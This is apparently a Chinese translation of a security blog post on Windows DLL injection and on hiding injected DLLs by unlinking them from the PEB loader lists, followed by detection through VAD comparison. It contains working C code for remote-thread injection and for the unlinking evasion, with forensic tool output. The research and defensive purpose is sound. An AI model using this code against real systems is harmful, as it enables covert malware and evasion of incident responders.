在这篇文章中,我们将介绍一种恶意软件可用于隐藏注入DLL的反取证技术,深入拆解Windows进程环境块(PEB)的具体细节,以及如何滥用该机制来隐藏已加载的恶意DLL。
背景说明:你可能会好奇,既然我如今的研究重心更多在云安全领域,为什么会读到一篇关于Windows内核底层机制的文章。这篇博客初稿写于整整三年前的2020年4月,当时我卡在了解释“Process Hacker为何能检测到文中描述的DLL解链技术”这一环节,便停笔再也没有发布。昨天在KubeCon大会上,我和出色的Brad Geesaman共进晚餐,他鼓励我把这篇内容发布出来,感谢Brad推动我完成了这项收尾工作。
免责声明:本文讨论的技术绝非什么新鲜事物,实际上它的历史很可能已经超过十年。但我始终没能找到任何一份可落地、细节详实的实操指南,来讲解如何实际运用这项技术,所以这篇文章就记录了我完整的探索过程。
DLL注入(T1055.001)技术综述
(译注:T1055.001是MITRE ATT&CK框架中定义的标准技术编号,对应“进程注入”战术下的“DLL注入”子项)
DLL注入是大量恶意软件和威胁攻击者广泛使用的常见技术。DLL注入的实现方式有很多种,本文将聚焦“经典”DLL注入场景:由恶意进程将磁盘上已存在的DLL注入到目标进程中。
更隐蔽、复杂度更高的主流变体是反射式DLL注入,另一类应用广泛的相关技术是DLL搜索顺序劫持。
经典DLL注入基础入门(DLL Injection 101)
恶意进程执行经典DLL注入的典型步骤前两步如下:
- 确保待注入的DLL已存在于本地磁盘:提前将恶意DLL文件放置在目标系统可访问的路径下,为后续加载操作做好准备。
- 调用OpenProcessAPI获取目标进程的句柄:通过指定进程ID和所需访问权限,拿到目标进程的操作权限句柄,这是后续所有跨进程操作的基础前提。
- int desiredAccess = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ;
- int targetPid = find_process("target.exe");
- HANDLE hTargetProcess = OpenProcess(desiredAccess, true, targetPid);
复制代码
- 获取LoadLibraryA函数的地址。(注意:该操作可在恶意进程自身的上下文内完成,因为在Windows系统中,重启前ASLR机制会将kernel32.dll映射到所有进程共享的同一虚拟基地址。)
- HMODULE hModule = GetModuleHandleA("kernel32.dll");
- FARPROC load_library_addr = GetProcAddress(hModule, "LoadLibraryA");
复制代码
- 在目标进程中调用 CreateRemoteThread 创建远程线程,将 LoadLibraryA 的地址作为线程入口点,并将待注入 DLL 路径所在的内存地址作为参数传入。
- DWORD threadId = 0;
- HANDLE hThread = CreateRemoteThread(
- hTargetProcess,
- NULL, // Security attributes
- 0, // Stack size
- (LPTHREAD_START_ROUTINE) load_library_addr,
- targetDataPage,
- 0, // Creation flags
- &threadId
- );
复制代码
待注入的 DLL
待注入的 DLL 可以在 Visual Studio 等集成开发环境(IDE)中编译。当 Windows 在我们调用 CreateRemoteThread 之后将其加载到目标进程中时,它会自动以 DLL_PROCESS_ATTACH 标志调用其 DllMain 函数。以下是一个极简的 DLL 代码示例,假设该 DLL 在退出前什么都不做,仅等待 5 分钟。
- BOOL APIENTRY DllMain(HMODULE hModule, DWORD event, LPVOID ignored) {
- if (event == DLL_PROCESS_ATTACH) {
- for (int i = 0; i < 300; ++i) {
- Sleep(1000);
- }
- }
- return true;
- }
复制代码
检测 DLL 注入
这种形式的 DLL 注入会产生大量痕迹,相对容易被识别。如果我们将 DLL 注入到某个程序(例如 MS Paint)中,并使用 Process Explorer、Process Hacker 或 ListDLLs 等工具进行检查,我们可以清晰地看到那个恶意 DLL。
- # Using ListDLLs from Sysinternals
- PS> Invoke-WebRequest [url]https://live.sysinternals.com/Listdlls64.exe[/url] -OutFile listdlls.exe
- PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
- 0x000000008c3f0000 0xb000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL
复制代码 如果我们获取该机器的内存转储文件,也可以使用 Volatility 中最常用的模块之一 dlllist 轻松查看到该 DLL:
- $ vol.py -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe
- Volatility Foundation Volatility Framework 2.6.1
- ************************************************************************
- mspaint.exe pid: 9340
- Command line : mspaint
-
- Base Path
- ------------------ ----
- 0x00007ff6db540000 C:\Windows\system32\mspaint.exe
- ...
- 0x00007ff8d7f20000 C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL
复制代码
常见警告
在使用 Volatility 的 dlllist 命令时,你可能会遇到如下警告:
- “dlllist 模块将无法检测到已从 LDR 链表中解链(unlinked)的 DLL”
复制代码 几年前我在阿姆斯特丹参加的 SANS FOR508 课程中也提到了“DLL 断链”的概念。但不幸的是,我始终没能找到任何实际代码或关于该技术在实践中如何实现的详细解释。那么,让我们直接深入探讨吧!
“展示你的 DLL 列表,我就能看穿你的身份”
恶意软件作者显然有强烈的动机,希望隐藏他们注入的恶意 DLL,以逃避 DllList 或 Volatility 等分析工具的检测。为了理解如何对这些工具实现隐蔽,我们首先需要弄清它们是如何列出进程所加载的 DLL 的!
从 PEB 枚举 DLL
大多数工具都依赖 PEB(进程环境块)。这是一个由内核在进程创建时填充到其虚拟内存空间中的数据结构。PEB 中包含一个指向 PEB_LDR_DATA 结构的指针,该结构内部维护了三个由 LDR_DATA_TABLE_ENTRY 元素组成的双向链表:
- InLoadOrderModuleList
- InMemoryOrderModuleList
- InInitializationOrderModuleList
这三个链表包含的条目完全相同,只是排列顺序不同,正如其名称所示。例如,InLoadOrderModuleList 是一个双向链表,按照 DLL 加载的先后顺序存储它们。
起初,这些链表的链接方式看起来有点令人困惑(至少对我来说是这样)。本质上,每个元素通过名为 In{Load,Memory,Initialization}OrderLinks 的链接属性分别串联在这三个链表中。该属性包含两个指针:Blink(后向指针):指向链表中的前一个元素;Flink(前向指针):指向链表中的下一个元素。
以下是具体的链接关系及数据结构示意图(此处提供可下载的高清版本)。
要遍历所有已加载的 DLL,我们需要从 PEB 中获取所需链表的指针,例如 InMemoryOrderModuleList。然后,利用每个条目的 Flink 指针进行迭代。需要注意的是,Flink 指针指向的是下一个条目的 InMemoryOrderLinks 结构——我们仍需从该地址中减去相应的偏移量,才能定位到 LDR_DATA_TABLE_ENTRY 结构的起始位置(这一点在上方的示意图中清晰可见)。为此,我们可以使用 CONTAINING_RECORD辅助宏来实现这一操作。
- // Returns a pointer to the PEB by reading the FS or GS registry
- // cf. https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
- PEB* get_peb() {
- #ifdef _WIN64
- return (PEB*) __readgsqword(0x60);
- #else
- return (PEB*) __readfsdword(0x30);
- #endif
- }
-
- // Prints a list of DLLs loaded in the current process
- void list_dlls(void) {
- PEB* peb = get_peb();
-
- LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
- LIST_ENTRY* first = current;
-
- while (current->Flink != first) {
- // current->Flink points to the 'InMemoryOrderLinks' field of the LDR_DATA_TABLE_ENTRY we want to reach
- // We use CONTAINING_RECORD to substract the proper offset from this pointer and reach the beginning of the structure
- LDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(current->Flink, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
- printf("%wZ loaded at %p", entry->FullDllName, entry->DllBase);
- current = current->Flink;
- }
- }
复制代码 如果我们将这段代码包含在恶意 DLL 中,将其注入到 mspaint.exe 进程,并将输出写入文件而非使用 printf,我们会得到:
- C:\Windows\system32\mspaint.exe loaded at 00007FF6DB540000
- C:\Windows\SYSTEM32\ntdll.dll loaded at 00007FF8DE540000
- C:\Windows\System32\KERNEL32.DLL loaded at 00007FF8DC850000
- C:\Windows\System32\KERNELBASE.dll loaded at 00007FF8DB4D0000
- ....
- C:\Users\Christophe\source\repos\MyMaliciousDll\x64\Release\MYMALICIOUSDLL.DLL
复制代码
InInitializationOrder 与 InLoadOrder 链表
现在——正如你在上述代码中所见,我们使用的是 InMemoryOrderModuleList 双向链表。那我们能否使用另外两个链表呢?答案是肯定的,但需要额外做一些处理。事实上,如果你查看 winternl.h 中暴露的 PEB_LDR_DATA 和 LDR_DATA_TABLE_ENTRY 结构字段,你会发现它仅直接暴露了 InMemoryOrderModuleList(链表头)和 InMemoryOrderLinks(条目链接):
- // Main PEB loader data structure
- struct PEB_LDR_DATA {
- BYTE Reserved1[8];
- PVOID Reserved2[3];
- LIST_ENTRY InMemoryOrderModuleList;
- };
-
- // Data structure corresponding to each loaded DLL
- struct LDR_DATA_TABLE_ENTRY {
- PVOID Reserved1[2];
- LIST_ENTRY InMemoryOrderLinks;
- PVOID Reserved2[2];
- PVOID DllBase;
- PVOID EntryPoint;
- ...
- };
复制代码 这些保留字段的命名表明,出于某种原因(很可能是为了稳定性,因为这些都是内部数据结构),微软并不希望开发者直接使用它们。话虽如此,只需稍加搜索并进行基础调试,我们就能重新定义 LDR_DATA_TABLE_ENTRY 结构,从而在代码中也能使用另外两个链表——这在后续步骤中将是必不可少的。
- typedef struct _MY_LDR_DATA_TABLE_ENTRY
- {
- LIST_ENTRY InLoadOrderLinks;
- LIST_ENTRY InMemoryOrderLinks;
- LIST_ENTRY InInitializationOrderLinks;
- PVOID DllBase;
- PVOID EntryPoint;
- ULONG SizeOfImage;
- UNICODE_STRING FullDllName;
- UNICODE_STRING ignored;
- ULONG Flags;
- SHORT LoadCount;
- SHORT TlsIndex;
- LIST_ENTRY HashTableEntry;
- ULONG TimeDateStamp;
- } MY_LDR_DATA_TABLE_ENTRY;
复制代码 旁注:这种做法并不理想,因为当我们遍历该链表时,并不会从它的第一个元素开始。相反,我们会从 InMemoryOrderModuleList 的第一个元素起步,然后才按正确的顺序继续遍历。(若要规范地实现,我们需要重新定义 PEB_LDR_DATA 并包含相应的字段,但我未能成功实现——况且,在当前场景下我们也并不需要这样做。)
反取证技术:从 PEB 中断链恶意 DLL
既然我们已经充分理解了某些取证工具如何列出进程中的 DLL,接下来就可以探讨如何对它们实现隐蔽。
其核心思路非常直观:
- 遍历 PEB 中包含已加载 DLL 列表的某个双向链表;
- 一旦找到我们的恶意 DLL,便将其从这些链表中“解链”(移除)。
最终,我们的 PEB 将呈现如下状态(此处提供完整尺寸图示):
请注意,malicious.dll 的条目在内存中依然存在,但已不再出现在任何双向链表中?
执行断链操作的代码如下所示。
- void unlink_peb(void) {
- PEB* peb = get_peb();
- LIST_ENTRY* current = &peb->Ldr->InMemoryOrderModuleList;
- LIST_ENTRY* first = current;
- while (current->Flink != first) {
- MY_LDR_DATA_TABLE_ENTRY* entry = (MY_LDR_DATA_TABLE_ENTRY *) CONTAINING_RECORD(current, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
- char dllName[256];
- snprintf(dllName, sizeof(dllName), "%wZ", entry->FullDllName);
- if (strstr(dllName, "MYMALICIOUSDLL.DLL") != NULL) {
- // Found the DLL! Unlink it from the 3 doubly linked lists
- entry->InLoadOrderLinks.Blink->Flink = entry->InLoadOrderLinks.Flink;
- entry->InLoadOrderLinks.Flink->Blink = entry->InLoadOrderLinks.Blink;
-
- entry->InMemoryOrderLinks.Blink->Flink = entry->InMemoryOrderLinks.Flink;
- entry->InMemoryOrderLinks.Flink->Blink = entry->InMemoryOrderLinks.Blink;
-
- entry->InInitializationOrderLinks.Blink->Flink = entry->InInitializationOrderLinks.Flink;
- entry->InInitializationOrderLinks.Flink->Blink = entry->InInitializationOrderLinks.Blink;
-
- return;
- }
- current = current->Flink;
- }
- }
复制代码 如果我们使用 ListDLLs 工具搜索我们的恶意 DLL,现在会发生什么?
- PS> .\listdlls.exe -accepteula mspaint.exe | Select-String "malicious"
- PS>
复制代码
它检测不到这个恶意DLL。如果我们对这台机器做一份内存镜像,用Volatility工具的dlllist插件来扫描,结果又会如何呢?
- $ vol -f ~/memory.dmp --profile=Win10x64_18362 dlllist -n mspaint.exe | grep -i malicious
- $
复制代码 结果也是一样的。这完全在预料之中——以下是Volatility官方文档中针对dlllist插件的相关说明:
- 要显示进程加载的 DLL,请使用 dlllist 命令。它会遍历由 PEB(进程环境块)的 InLoadOrderModuleList 字段指向的 _LDR_DATA_TABLE_ENTRY 结构的双向链表。
复制代码 我们已精准地将恶意DLL从InLoadOrderModuleList链表中断开链接,这也解释了为何dlllist插件现在无法检测到它。
检测DLL断链
在分析内存转储文件时,我们需要关注两点:
- 找出某一进程加载的全部DLL,包括已被解链的DLL
- 确认你找到的某款DLL是否已从PEB的双向链表中被解链。在取证调查中这一点至关重要,因为它代表攻击者或恶意软件正在系统中主动实施隐藏操作。
为实现该检测,我们可以借助VAD(虚拟地址描述符)——这是一种底层内核数据结构,用于追踪内存区域如何映射到指定进程和DLL。当恶意操作者在用户态将DLL从PEB中解链时,该操作不会影响VAD结构。因此我们可以将PEB中引用的DLL列表和VAD提取的DLL列表做比对,就能发现二者之间存在的差异项。
一些主流工具会借助VAD机制,成功捕获已被断链的DLL:
Process Hacker:它看似是通过PEB来枚举DLL,这点曾让我感到意外。它大概率是通过安装内核驱动,同时调用了VAD机制来完成检测。
Volatility的malfind插件:它底层会调用ldrmodules模块,比对出存在于VAD中、却未出现在PEB链表内的DLL。
真实环境中的DLL断链攻击
尽管DLL断链技术在各类技术资料中被频繁提及,但我仅在真实野外攻击场景中找到一个实际案例:和震网病毒同属一个攻击家族的Flame(火焰)蠕虫。受限于查找时间,我没能找到更多相关案例,如果你掌握更多这类真实攻击案例,欢迎补充告知!
未来研究方向
截至2023年,我的研究重心放在云安全与容器安全领域,可预见的未来内大概率不会再聚焦Windows安全或取证方向。即便如此,我仍有几个想要尝试的实验方向——如果你对这些内容感兴趣,可以动手测试,在评论区或Twitter分享你的发现!以下内容摘自我3年前的笔记,若部分内容逻辑不够通顺,还请谅解:
- 如果我们重写PEB中的DLL名称字段,能否让已加载的恶意DLL伪装成合法的系统DLL?
- 如果我们从内存中对该DLL执行取消映射操作,能否实现完全隐藏该DLL的效果?
- 我们能否通过内存转储中DLL的打开句柄,识别出存在句柄对应但不在常规链表中、大概率已被隐藏的DLL?
我整理的实用补充参考资料如下:
原文链接
|